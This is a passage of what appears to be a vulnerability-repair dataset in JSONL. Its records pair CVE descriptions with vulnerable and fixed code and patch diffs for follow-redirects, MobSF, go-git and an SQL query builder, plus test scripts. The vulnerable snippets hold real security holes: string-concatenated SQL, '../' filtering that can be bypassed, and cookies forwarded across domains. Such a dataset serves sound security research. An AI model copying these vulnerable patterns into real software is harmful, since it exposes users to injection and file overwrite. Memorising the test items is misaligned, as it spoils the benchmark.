sql_query = \"\"\"\n+            SELECT * FROM \"MonthlyGlobalSpendPerKey\"\n+            WHERE \"api_key\" = $1\n+            ORDER BY \"date\";\n             \"\"\"\n-            SELECT * FROM \"MonthlyGlobalSpendPerKey\"\n-            WHERE \"api_key\" = '\"\"\"\n-            + api_key\n-            + \"\"\"'\n-            ORDER BY \"date\";\n-        \"\"\"\n-        )\n \n-        response = await prisma_client.db.query_raw(query=sql_query)\n+        response = await prisma_client.db.query_raw(sql_query, api_key)\n \n         return response\n     return\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-0155", "cve_description": "follow-redirects is vulnerable to Exposure of Private Personal Information to an Unauthorized Actor", "cwe_info": {"CWE-359": {"name": "Exposure of Private Personal Information to an Unauthorized Actor", "description": "The product does not properly prevent a person's private, personal information from being accessed by actors who either (1) are not explicitly authorized to access the information or (2) do not have the implicit consent of the person about whom the information is collected."}}, "repo": "https://github.com/follow-redirects/follow-redirects", "patch_url": ["https://github.com/follow-redirects/follow-redirects/commit/8b347cbcef7c7b72a6e9be20f5710c17d6163c22"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_51_1", "commit": "6f5029a", "file_path": "index.js", "start_line": 322, "end_line": 430, "snippet": "RedirectableRequest.prototype._processResponse = function (response) {\n  // Store the redirected response\n  var statusCode = response.statusCode;\n  if (this._options.trackRedirects) {\n    this._redirects.push({\n      url: this._currentUrl,\n      headers: response.headers,\n      statusCode: statusCode,\n    });\n  }\n\n  // RFC7231\\u00a76.4: The 3xx (Redirection) class of status code indicates\n  // that further action needs to be taken by the user agent in order to\n  // fulfill the request. If a Location header field is provided,\n  // the user agent MAY automatically redirect its request to the URI\n  // referenced by the Location field value,\n  // even if the specific status code is not understood.\n  var location = response.headers.location;\n  if (location && this._options.followRedirects !== false &&\n      statusCode >= 300 && statusCode < 400) {\n    // Abort the current request\n    abortRequest(this._currentRequest);\n    // Discard the remainder of the response to avoid waiting for data\n    response.destroy();\n\n    // RFC7231\\u00a76.4: A client SHOULD detect and intervene\n    // in cyclical redirections (i.e., \"infinite\" redirection loops).\n    if (++this._redirectCount > this._options.maxRedirects) {\n      this.emit(\"error\", new TooManyRedirectsError());\n      return;\n    }\n\n    // RFC7231\\u00a76.4: Automatic redirection needs to done with\n    // care for methods not known to be safe, [\\u2026]\n    // RFC7231\\u00a76.4.2\\u20133: For historical reasons, a user agent MAY change\n    // the request method from POST to GET for the subsequent request.\n    if ((statusCode === 301 || statusCode === 302) && this._options.method === \"POST\" ||\n        // RFC7231\\u00a76.4.4: The 303 (See Other) status code indicates that\n        // the server is redirecting the user agent to a different resource [\\u2026]\n        // A user agent can perform a retrieval request targeting that URI\n        // (a GET or HEAD request if using HTTP) [\\u2026]\n        (statusCode === 303) && !/^(?:GET|HEAD)$/.test(this._options.method)) {\n      this._options.method = \"GET\";\n      // Drop a possible entity and headers related to it\n      this._requestBodyBuffers = [];\n      removeMatchingHeaders(/^content-/i, this._options.headers);\n    }\n\n    // Drop the Host header, as the redirect might lead to a different host\n    var currentHostHeader = removeMatchingHeaders(/^host$/i, this._options.headers);\n\n    // If the redirect is relative, carry over the host of the last request\n    var currentUrlParts = url.parse(this._currentUrl);\n    var currentHost = currentHostHeader || currentUrlParts.host;\n    var currentUrl = /^\\w+:/.test(location) ? this._currentUrl :\n      url.format(Object.assign(currentUrlParts, { host: currentHost }));\n\n    // Determine the URL of the redirection\n    var redirectUrl;\n    try {\n      redirectUrl = url.resolve(currentUrl, location);\n    }\n    catch (cause) {\n      this.emit(\"error\", new RedirectionError(cause));\n      return;\n    }\n\n    // Create the redirected request\n    debug(\"redirecting to\", redirectUrl);\n    this._isRedirect = true;\n    var redirectUrlParts = url.parse(redirectUrl);\n    Object.assign(this._options, redirectUrlParts);\n\n    // Drop the Authorization header if redirecting to another domain\n    if (!(redirectUrlParts.host === currentHost || isSubdomainOf(redirectUrlParts.host, currentHost))) {\n      removeMatchingHeaders(/^authorization$/i, this._options.headers);\n    }\n\n    // Evaluate the beforeRedirect callback\n    if (typeof this._options.beforeRedirect === \"function\") {\n      var responseDetails = { headers: response.headers };\n      try {\n        this._options.beforeRedirect.call(null, this._options, responseDetails);\n      }\n      catch (err) {\n        this.emit(\"error\", err);\n        return;\n      }\n      this._sanitizeOptions(this._options);\n    }\n\n    // Perform the redirected request\n    try {\n      this._performRequest();\n    }\n    catch (cause) {\n      this.emit(\"error\", new RedirectionError(cause));\n    }\n  }\n  else {\n    // The response is not a redirect; return it as-is\n    response.responseUrl = this._currentUrl;\n    response.redirects = this._redirects;\n    this.emit(\"response\", response);\n\n    // Clean up\n    this._requestBodyBuffers = [];\n  }\n};"}], "fix_func": [{"id": "fix_js_51_1", "commit": "8b347cbcef7c7b72a6e9be20f5710c17d6163c22", "file_path": "index.js", "start_line": 322, "end_line": 430, "snippet": "RedirectableRequest.prototype._processResponse = function (response) {\n  // Store the redirected response\n  var statusCode = response.statusCode;\n  if (this._options.trackRedirects) {\n    this._redirects.push({\n      url: this._currentUrl,\n      headers: response.headers,\n      statusCode: statusCode,\n    });\n  }\n\n  // RFC7231\\u00a76.4: The 3xx (Redirection) class of status code indicates\n  // that further action needs to be taken by the user agent in order to\n  // fulfill the request. If a Location header field is provided,\n  // the user agent MAY automatically redirect its request to the URI\n  // referenced by the Location field value,\n  // even if the specific status code is not understood.\n  var location = response.headers.location;\n  if (location && this._options.followRedirects !== false &&\n      statusCode >= 300 && statusCode < 400) {\n    // Abort the current request\n    abortRequest(this._currentRequest);\n    // Discard the remainder of the response to avoid waiting for data\n    response.destroy();\n\n    // RFC7231\\u00a76.4: A client SHOULD detect and intervene\n    // in cyclical redirections (i.e., \"infinite\" redirection loops).\n    if (++this._redirectCount > this._options.maxRedirects) {\n      this.emit(\"error\", new TooManyRedirectsError());\n      return;\n    }\n\n    // RFC7231\\u00a76.4: Automatic redirection needs to done with\n    // care for methods not known to be safe, [\\u2026]\n    // RFC7231\\u00a76.4.2\\u20133: For historical reasons, a user agent MAY change\n    // the request method from POST to GET for the subsequent request.\n    if ((statusCode === 301 || statusCode === 302) && this._options.method === \"POST\" ||\n        // RFC7231\\u00a76.4.4: The 303 (See Other) status code indicates that\n        // the server is redirecting the user agent to a different resource [\\u2026]\n        // A user agent can perform a retrieval request targeting that URI\n        // (a GET or HEAD request if using HTTP) [\\u2026]\n        (statusCode === 303) && !/^(?:GET|HEAD)$/.test(this._options.method)) {\n      this._options.method = \"GET\";\n      // Drop a possible entity and headers related to it\n      this._requestBodyBuffers = [];\n      removeMatchingHeaders(/^content-/i, this._options.headers);\n    }\n\n    // Drop the Host header, as the redirect might lead to a different host\n    var currentHostHeader = removeMatchingHeaders(/^host$/i, this._options.headers);\n\n    // If the redirect is relative, carry over the host of the last request\n    var currentUrlParts = url.parse(this._currentUrl);\n    var currentHost = currentHostHeader || currentUrlParts.host;\n    var currentUrl = /^\\w+:/.test(location) ? this._currentUrl :\n      url.format(Object.assign(currentUrlParts, { host: currentHost }));\n\n    // Determine the URL of the redirection\n    var redirectUrl;\n    try {\n      redirectUrl = url.resolve(currentUrl, location);\n    }\n    catch (cause) {\n      this.emit(\"error\", new RedirectionError(cause));\n      return;\n    }\n\n    // Create the redirected request\n    debug(\"redirecting to\", redirectUrl);\n    this._isRedirect = true;\n    var redirectUrlParts = url.parse(redirectUrl);\n    Object.assign(this._options, redirectUrlParts);\n\n    // Drop the confidential headers when redirecting to another domain\n    if (!(redirectUrlParts.host === currentHost || isSubdomainOf(redirectUrlParts.host, currentHost))) {\n      removeMatchingHeaders(/^(?:authorization|cookie)$/i, this._options.headers);\n    }\n\n    // Evaluate the beforeRedirect callback\n    if (typeof this._options.beforeRedirect === \"function\") {\n      var responseDetails = { headers: response.headers };\n      try {\n        this._options.beforeRedirect.call(null, this._options, responseDetails);\n      }\n      catch (err) {\n        this.emit(\"error\", err);\n        return;\n      }\n      this._sanitizeOptions(this._options);\n    }\n\n    // Perform the redirected request\n    try {\n      this._performRequest();\n    }\n    catch (cause) {\n      this.emit(\"error\", new RedirectionError(cause));\n    }\n  }\n  else {\n    // The response is not a redirect; return it as-is\n    response.responseUrl = this._currentUrl;\n    response.redirects = this._redirects;\n    this.emit(\"response\", response);\n\n    // Clean up\n    this._requestBodyBuffers = [];\n  }\n};"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -71,9 +71,9 @@\n     var redirectUrlParts = url.parse(redirectUrl);\n     Object.assign(this._options, redirectUrlParts);\n \n-    // Drop the Authorization header if redirecting to another domain\n+    // Drop the confidential headers when redirecting to another domain\n     if (!(redirectUrlParts.host === currentHost || isSubdomainOf(redirectUrlParts.host, currentHost))) {\n-      removeMatchingHeaders(/^authorization$/i, this._options.headers);\n+      removeMatchingHeaders(/^(?:authorization|cookie)$/i, this._options.headers);\n     }\n \n     // Evaluate the beforeRedirect callback\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-0155:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/follow-redirects\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nnpx mocha --grep \"drops the header when redirected from a different host via header\"\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-0155:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/follow-redirects\ngit apply --whitespace=nowarn /workspace/fix.patch\nnpx mocha test/test.js --grep 'emits an error on redirects with an invalid location|emits an error when the request fails for another reason|destroys the socket after configured inactivity period|\"after each\" hook for \"destroys the socket after configured inactivity period\"' --invert"}
{"cve_id": "CVE-2024-43399", "cve_description": "Mobile Security Framework (MobSF) is a pen-testing, malware analysis and security assessment framework capable of performing static and dynamic analysis. Before 4.0.7, there is a flaw in the Static Libraries analysis section. Specifically, during the extraction of .a extension files, the measure intended to prevent Zip Slip attacks is improperly implemented. Since the implemented measure can be bypassed, the vulnerability allows an attacker to extract files to any desired location within the server running MobSF. This vulnerability is fixed in 4.0.7.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/MobSF/Mobile-Security-Framework-MobSF", "patch_url": ["https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/cc625fe8430f3437a473e82aa2966d100a4dc883"], "programing_language": "Python", "vul_func": [{"id": "vul_py_363_1", "commit": "5b7c5c00751da45282a9a39ad65c86beadf73b18", "file_path": "mobsf/StaticAnalyzer/views/common/shared_func.py", "start_line": 178, "end_line": 226, "snippet": "def ar_extract(checksum, src, dst):\n    \"\"\"Extract AR archive.\"\"\"\n    msg = 'Extracting static library archive'\n    logger.info(msg)\n    append_scan_status(checksum, msg)\n    try:\n        ar = arpy.Archive(src)\n        ar.read_all_headers()\n        for a, val in ar.archived_files.items():\n            # Handle archive slip attacks\n            filtered = a.decode(\n                'utf-8', 'ignore').replace(\n                '../', '').replace('..\\\\', '')\n            out = Path(dst) / filtered\n            out.write_bytes(val.read())\n    except Exception:\n        # Possibly dealing with Fat binary, needs Mac host\n        msg = 'Failed to extract .a archive'\n        logger.warning(msg)\n        append_scan_status(checksum, msg)\n        # Use os ar utility\n        plat = platform.system()\n        os_err = 'Possibly a Fat binary. Requires MacOS for Analysis'\n        if plat == 'Windows':\n            logger.warning(os_err)\n            append_scan_status(checksum, os_err)\n            return\n        msg = 'Using OS ar utility to handle archive'\n        logger.info(msg)\n        append_scan_status(checksum, msg)\n        exp = ar_os(src, dst)\n        if len(exp) > 3 and plat == 'Linux':\n            # Can't convert FAT binary in Linux\n            logger.warning(os_err)\n            append_scan_status(checksum, os_err)\n            return\n        if b'lipo(1)' in exp:\n            msg = 'Fat binary archive identified'\n            logger.info(msg)\n            append_scan_status(checksum, msg)\n            # Fat binary archive\n            try:\n                nw_src = lipo_thin(checksum, src, dst)\n                if nw_src:\n                    ar_os(nw_src, dst)\n            except Exception as exp:\n                msg = 'Failed to thin fat archive'\n                logger.exception(msg)\n                append_scan_status(checksum, msg, repr(exp))"}], "fix_func": [{"id": "fix_py_363_1", "commit": "cc625fe8430f3437a473e82aa2966d100a4dc883", "file_path": "mobsf/StaticAnalyzer/views/common/shared_func.py", "start_line": 179, "end_line": 230, "snippet": "def ar_extract(checksum, src, dst):\n    \"\"\"Extract AR archive.\"\"\"\n    msg = 'Extracting static library archive'\n    logger.info(msg)\n    append_scan_status(checksum, msg)\n    try:\n        ar = arpy.Archive(src)\n        ar.read_all_headers()\n        for a, val in ar.archived_files.items():\n            # Handle archive slip attacks\n            filtered = a.decode('utf-8', 'ignore')\n            if is_path_traversal(filtered):\n                msg = f'Zip slip detected. skipped extracting {filtered}'\n                logger.warning(msg)\n                append_scan_status(checksum, msg)\n                continue\n            out = Path(dst) / filtered\n            out.write_bytes(val.read())\n    except Exception:\n        # Possibly dealing with Fat binary, needs Mac host\n        msg = 'Failed to extract .a archive'\n        logger.warning(msg)\n        append_scan_status(checksum, msg)\n        # Use os ar utility\n        plat = platform.system()\n        os_err = 'Possibly a Fat binary. Requires MacOS for Analysis'\n        if plat == 'Windows':\n            logger.warning(os_err)\n            append_scan_status(checksum, os_err)\n            return\n        msg = 'Using OS ar utility to handle archive'\n        logger.info(msg)\n        append_scan_status(checksum, msg)\n        exp = ar_os(src, dst)\n        if len(exp) > 3 and plat == 'Linux':\n            # Can't convert FAT binary in Linux\n            logger.warning(os_err)\n            append_scan_status(checksum, os_err)\n            return\n        if b'lipo(1)' in exp:\n            msg = 'Fat binary archive identified'\n            logger.info(msg)\n            append_scan_status(checksum, msg)\n            # Fat binary archive\n            try:\n                nw_src = lipo_thin(checksum, src, dst)\n                if nw_src:\n                    ar_os(nw_src, dst)\n            except Exception as exp:\n                msg = 'Failed to thin fat archive'\n                logger.exception(msg)\n                append_scan_status(checksum, msg, repr(exp))"}], "vul_patch": "--- a/mobsf/StaticAnalyzer/views/common/shared_func.py\n+++ b/mobsf/StaticAnalyzer/views/common/shared_func.py\n@@ -8,9 +8,12 @@\n         ar.read_all_headers()\n         for a, val in ar.archived_files.items():\n             # Handle archive slip attacks\n-            filtered = a.decode(\n-                'utf-8', 'ignore').replace(\n-                '../', '').replace('..\\\\', '')\n+            filtered = a.decode('utf-8', 'ignore')\n+            if is_path_traversal(filtered):\n+                msg = f'Zip slip detected. skipped extracting {filtered}'\n+                logger.warning(msg)\n+                append_scan_status(checksum, msg)\n+                continue\n             out = Path(dst) / filtered\n             out.write_bytes(val.read())\n     except Exception:\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-49569", "cve_description": "A path traversal vulnerability was discovered in go-git versions prior to v5.11. This vulnerability allows an attacker to create and amend files across the filesystem. In the worse case scenario, remote code execution could be achieved.\n\nApplications are only affected if they are using the  ChrootOS https://pkg.go.dev/github.com/go-git/go-billy/v5/osfs#ChrootOS , which is the default when using \"Plain\" versions of Open and Clone funcs (e.g. PlainClone). Applications using  BoundOS https://pkg.go.dev/github.com/go-git/go-billy/v5/osfs#BoundOS \u00a0or in-memory filesystems are not affected by this issue.\nThis is a go-git\u00a0implementation issue and does not affect the upstream git\u00a0cli.\n\n\n", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/go-git/go-git", "patch_url": ["https://github.com/go-git/go-git/commit/cec7da63ca0412fce55a0bf0715b7ba44a41eaa2"], "programing_language": "Go", "vul_func": [{"id": "vul_go_127_1", "commit": "4f61489", "file_path": "storage/filesystem/dotgit/dotgit.go", "start_line": 77, "end_line": 84, "snippet": "type Options struct {\n\t// ExclusiveAccess means that the filesystem is not modified externally\n\t// while the repo is open.\n\tExclusiveAccess bool\n\t// KeepDescriptors makes the file descriptors to be reused but they will\n\t// need to be manually closed calling Close().\n\tKeepDescriptors bool\n}"}, {"id": "vul_go_127_2", "commit": "4f61489", "file_path": "storage/filesystem/dotgit/dotgit.go", "start_line": 1141, "end_line": 1178, "snippet": "func (d *DotGit) Alternates() ([]*DotGit, error) {\n\taltpath := d.fs.Join(objectsPath, infoPath, alternatesPath)\n\tf, err := d.fs.Open(altpath)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer f.Close()\n\n\tvar alternates []*DotGit\n\n\t// Read alternate paths line-by-line and create DotGit objects.\n\tscanner := bufio.NewScanner(f)\n\tfor scanner.Scan() {\n\t\tpath := scanner.Text()\n\t\tif !filepath.IsAbs(path) {\n\t\t\t// For relative paths, we can perform an internal conversion to\n\t\t\t// slash so that they work cross-platform.\n\t\t\tslashPath := filepath.ToSlash(path)\n\t\t\t// If the path is not absolute, it must be relative to object\n\t\t\t// database (.git/objects/info).\n\t\t\t// https://www.kernel.org/pub/software/scm/git/docs/gitrepository-layout.html\n\t\t\t// Hence, derive a path relative to DotGit's root.\n\t\t\t// \"../../../reponame/.git/\" -> \"../../reponame/.git\"\n\t\t\t// Remove the first ../\n\t\t\trelpath := filepath.Join(strings.Split(slashPath, \"/\")[1:]...)\n\t\t\tnormalPath := filepath.FromSlash(relpath)\n\t\t\tpath = filepath.Join(d.fs.Root(), normalPath)\n\t\t}\n\t\tfs := osfs.New(filepath.Dir(path))\n\t\talternates = append(alternates, New(fs))\n\t}\n\n\tif err = scanner.Err(); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn alternates, nil\n}"}, {"id": "vul_go_127_3", "commit": "4f61489", "file_path": "storage/filesystem/storage.go", "start_line": 27, "end_line": 40, "snippet": "type Options struct {\n\t// ExclusiveAccess means that the filesystem is not modified externally\n\t// while the repo is open.\n\tExclusiveAccess bool\n\t// KeepDescriptors makes the file descriptors to be reused but they will\n\t// need to be manually closed calling Close().\n\tKeepDescriptors bool\n\t// MaxOpenDescriptors is the max number of file descriptors to keep\n\t// open. If KeepDescriptors is true, all file descriptors will remain open.\n\tMaxOpenDescriptors int\n\t// LargeObjectThreshold maximum object size (in bytes) that will be read in to memory.\n\t// If left unset or set to 0 there is no limit\n\tLargeObjectThreshold int64\n}"}, {"id": "vul_go_127_4", "commit": "4f61489", "file_path": "storage/filesystem/storage.go", "start_line": 49, "end_line": 66, "snippet": "func NewStorageWithOptions(fs billy.Filesystem, cache cache.Object, ops Options) *Storage {\n\tdirOps := dotgit.Options{\n\t\tExclusiveAccess: ops.ExclusiveAccess,\n\t}\n\tdir := dotgit.NewWithOptions(fs, dirOps)\n\n\treturn &Storage{\n\t\tfs:  fs,\n\t\tdir: dir,\n\n\t\tObjectStorage:    *NewObjectStorageWithOptions(dir, cache, ops),\n\t\tReferenceStorage: ReferenceStorage{dir: dir},\n\t\tIndexStorage:     IndexStorage{dir: dir},\n\t\tShallowStorage:   ShallowStorage{dir: dir},\n\t\tConfigStorage:    ConfigStorage{dir: dir},\n\t\tModuleStorage:    ModuleStorage{dir: dir},\n\t}\n}"}], "fix_func": [{"id": "fix_go_127_1", "commit": "cec7da6", "file_path": "storage/filesystem/dotgit/dotgit.go", "start_line": 78, "end_line": 89, "snippet": "type Options struct {\n\t// ExclusiveAccess means that the filesystem is not modified externally\n\t// while the repo is open.\n\tExclusiveAccess bool\n\t// KeepDescriptors makes the file descriptors to be reused but they will\n\t// need to be manually closed calling Close().\n\tKeepDescriptors bool\n\t// AlternatesFS provides the billy filesystem to be used for Git Alternates.\n\t// If none is provided, it falls back to using the underlying instance used for\n\t// DotGit.\n\tAlternatesFS billy.Filesystem\n}"}, {"id": "fix_go_127_2", "commit": "cec7da6", "file_path": "storage/filesystem/dotgit/dotgit.go", "start_line": 1146, "end_line": 1210, "snippet": "func (d *DotGit) Alternates() ([]*DotGit, error) {\n\taltpath := d.fs.Join(objectsPath, infoPath, alternatesPath)\n\tf, err := d.fs.Open(altpath)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer f.Close()\n\n\tfs := d.options.AlternatesFS\n\tif fs == nil {\n\t\tfs = d.fs\n\t}\n\n\tvar alternates []*DotGit\n\tseen := make(map[string]struct{})\n\n\t// Read alternate paths line-by-line and create DotGit objects.\n\tscanner := bufio.NewScanner(f)\n\tfor scanner.Scan() {\n\t\tpath := scanner.Text()\n\n\t\t// Avoid creating multiple dotgits for the same alternative path.\n\t\tif _, ok := seen[path]; ok {\n\t\t\tcontinue\n\t\t}\n\n\t\tseen[path] = struct{}{}\n\n\t\tif filepath.IsAbs(path) {\n\t\t\t// Handling absolute paths should be straight-forward. However, the default osfs (Chroot)\n\t\t\t// tries to concatenate an abs path with the root path in some operations (e.g. Stat),\n\t\t\t// which leads to unexpected errors. Therefore, make the path relative to the current FS instead.\n\t\t\tif reflect.TypeOf(fs) == reflect.TypeOf(&chroot.ChrootHelper{}) {\n\t\t\t\tpath, err = filepath.Rel(fs.Root(), path)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, fmt.Errorf(\"cannot make path %q relative: %w\", path, err)\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\t// By Git conventions, relative paths should be based on the object database (.git/objects/info)\n\t\t\t// location as per: https://www.kernel.org/pub/software/scm/git/docs/gitrepository-layout.html\n\t\t\t// However, due to the nature of go-git and its filesystem handling via Billy, paths cannot\n\t\t\t// cross its \"chroot boundaries\". Therefore, ignore any \"../\" and treat the path from the\n\t\t\t// fs root. If this is not correct based on the dotgit fs, set a different one via AlternatesFS.\n\t\t\tabs := filepath.Join(string(filepath.Separator), filepath.ToSlash(path))\n\t\t\tpath = filepath.FromSlash(abs)\n\t\t}\n\n\t\t// Aligns with upstream behavior: exit if target path is not a valid directory.\n\t\tif fi, err := fs.Stat(path); err != nil || !fi.IsDir() {\n\t\t\treturn nil, fmt.Errorf(\"invalid object directory %q: %w\", path, err)\n\t\t}\n\t\tafs, err := fs.Chroot(filepath.Dir(path))\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"cannot chroot %q: %w\", path, err)\n\t\t}\n\t\talternates = append(alternates, New(afs))\n\t}\n\n\tif err = scanner.Err(); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn alternates, nil\n}"}, {"id": "fix_go_127_3", "commit": "cec7da6", "file_path": "storage/filesystem/storage.go", "start_line": 27, "end_line": 44, "snippet": "type Options struct {\n\t// ExclusiveAccess means that the filesystem is not modified externally\n\t// while the repo is open.\n\tExclusiveAccess bool\n\t// KeepDescriptors makes the file descriptors to be reused but they will\n\t// need to be manually closed calling Close().\n\tKeepDescriptors bool\n\t// MaxOpenDescriptors is the max number of file descriptors to keep\n\t// open. If KeepDescriptors is true, all file descriptors will remain open.\n\tMaxOpenDescriptors int\n\t// LargeObjectThreshold maximum object size (in bytes) that will be read in to memory.\n\t// If left unset or set to 0 there is no limit\n\tLargeObjectThreshold int64\n\t// AlternatesFS provides the billy filesystem to be used for Git Alternates.\n\t// If none is provided, it falls back to using the underlying instance used for\n\t// DotGit.\n\tAlternatesFS billy.Filesystem\n}"}, {"id": "fix_go_127_4", "commit": "cec7da6", "file_path": "storage/filesystem/storage.go", "start_line": 53, "end_line": 71, "snippet": "func NewStorageWithOptions(fs billy.Filesystem, cache cache.Object, ops Options) *Storage {\n\tdirOps := dotgit.Options{\n\t\tExclusiveAccess: ops.ExclusiveAccess,\n\t\tAlternatesFS:    ops.AlternatesFS,\n\t}\n\tdir := dotgit.NewWithOptions(fs, dirOps)\n\n\treturn &Storage{\n\t\tfs:  fs,\n\t\tdir: dir,\n\n\t\tObjectStorage:    *NewObjectStorageWithOptions(dir, cache, ops),\n\t\tReferenceStorage: ReferenceStorage{dir: dir},\n\t\tIndexStorage:     IndexStorage{dir: dir},\n\t\tShallowStorage:   ShallowStorage{dir: dir},\n\t\tConfigStorage:    ConfigStorage{dir: dir},\n\t\tModuleStorage:    ModuleStorage{dir: dir},\n\t}\n}"}], "vul_patch": "--- a/storage/filesystem/dotgit/dotgit.go\n+++ b/storage/filesystem/dotgit/dotgit.go\n@@ -5,4 +5,8 @@\n \t// KeepDescriptors makes the file descriptors to be reused but they will\n \t// need to be manually closed calling Close().\n \tKeepDescriptors bool\n+\t// AlternatesFS provides the billy filesystem to be used for Git Alternates.\n+\t// If none is provided, it falls back to using the underlying instance used for\n+\t// DotGit.\n+\tAlternatesFS billy.Filesystem\n }\n\n--- a/storage/filesystem/dotgit/dotgit.go\n+++ b/storage/filesystem/dotgit/dotgit.go\n@@ -6,28 +6,55 @@\n \t}\n \tdefer f.Close()\n \n+\tfs := d.options.AlternatesFS\n+\tif fs == nil {\n+\t\tfs = d.fs\n+\t}\n+\n \tvar alternates []*DotGit\n+\tseen := make(map[string]struct{})\n \n \t// Read alternate paths line-by-line and create DotGit objects.\n \tscanner := bufio.NewScanner(f)\n \tfor scanner.Scan() {\n \t\tpath := scanner.Text()\n-\t\tif !filepath.IsAbs(path) {\n-\t\t\t// For relative paths, we can perform an internal conversion to\n-\t\t\t// slash so that they work cross-platform.\n-\t\t\tslashPath := filepath.ToSlash(path)\n-\t\t\t// If the path is not absolute, it must be relative to object\n-\t\t\t// database (.git/objects/info).\n-\t\t\t// https://www.kernel.org/pub/software/scm/git/docs/gitrepository-layout.html\n-\t\t\t// Hence, derive a path relative to DotGit's root.\n-\t\t\t// \"../../../reponame/.git/\" -> \"../../reponame/.git\"\n-\t\t\t// Remove the first ../\n-\t\t\trelpath := filepath.Join(strings.Split(slashPath, \"/\")[1:]...)\n-\t\t\tnormalPath := filepath.FromSlash(relpath)\n-\t\t\tpath = filepath.Join(d.fs.Root(), normalPath)\n+\n+\t\t// Avoid creating multiple dotgits for the same alternative path.\n+\t\tif _, ok := seen[path]; ok {\n+\t\t\tcontinue\n \t\t}\n-\t\tfs := osfs.New(filepath.Dir(path))\n-\t\talternates = append(alternates, New(fs))\n+\n+\t\tseen[path] = struct{}{}\n+\n+\t\tif filepath.IsAbs(path) {\n+\t\t\t// Handling absolute paths should be straight-forward. However, the default osfs (Chroot)\n+\t\t\t// tries to concatenate an abs path with the root path in some operations (e.g. Stat),\n+\t\t\t// which leads to unexpected errors. Therefore, make the path relative to the current FS instead.\n+\t\t\tif reflect.TypeOf(fs) == reflect.TypeOf(&chroot.ChrootHelper{}) {\n+\t\t\t\tpath, err = filepath.Rel(fs.Root(), path)\n+\t\t\t\tif err != nil {\n+\t\t\t\t\treturn nil, fmt.Errorf(\"cannot make path %q relative: %w\", path, err)\n+\t\t\t\t}\n+\t\t\t}\n+\t\t} else {\n+\t\t\t// By Git conventions, relative paths should be based on the object database (.git/objects/info)\n+\t\t\t// location as per: https://www.kernel.org/pub/software/scm/git/docs/gitrepository-layout.html\n+\t\t\t// However, due to the nature of go-git and its filesystem handling via Billy, paths cannot\n+\t\t\t// cross its \"chroot boundaries\". Therefore, ignore any \"../\" and treat the path from the\n+\t\t\t// fs root. If this is not correct based on the dotgit fs, set a different one via AlternatesFS.\n+\t\t\tabs := filepath.Join(string(filepath.Separator), filepath.ToSlash(path))\n+\t\t\tpath = filepath.FromSlash(abs)\n+\t\t}\n+\n+\t\t// Aligns with upstream behavior: exit if target path is not a valid directory.\n+\t\tif fi, err := fs.Stat(path); err != nil || !fi.IsDir() {\n+\t\t\treturn nil, fmt.Errorf(\"invalid object directory %q: %w\", path, err)\n+\t\t}\n+\t\tafs, err := fs.Chroot(filepath.Dir(path))\n+\t\tif err != nil {\n+\t\t\treturn nil, fmt.Errorf(\"cannot chroot %q: %w\", path, err)\n+\t\t}\n+\t\talternates = append(alternates, New(afs))\n \t}\n \n \tif err = scanner.Err(); err != nil {\n\n--- a/storage/filesystem/storage.go\n+++ b/storage/filesystem/storage.go\n@@ -11,4 +11,8 @@\n \t// LargeObjectThreshold maximum object size (in bytes) that will be read in to memory.\n \t// If left unset or set to 0 there is no limit\n \tLargeObjectThreshold int64\n+\t// AlternatesFS provides the billy filesystem to be used for Git Alternates.\n+\t// If none is provided, it falls back to using the underlying instance used for\n+\t// DotGit.\n+\tAlternatesFS billy.Filesystem\n }\n\n--- a/storage/filesystem/storage.go\n+++ b/storage/filesystem/storage.go\n@@ -1,6 +1,7 @@\n func NewStorageWithOptions(fs billy.Filesystem, cache cache.Object, ops Options) *Storage {\n \tdirOps := dotgit.Options{\n \t\tExclusiveAccess: ops.ExclusiveAccess,\n+\t\tAlternatesFS:    ops.AlternatesFS,\n \t}\n \tdir := dotgit.NewWithOptions(fs, dirOps)\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-0841", "cve_description": "OS Command Injection in GitHub repository ljharb/npm-lockfile in v2.0.3 and v2.0.4.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/ljharb/npm-lockfile", "patch_url": 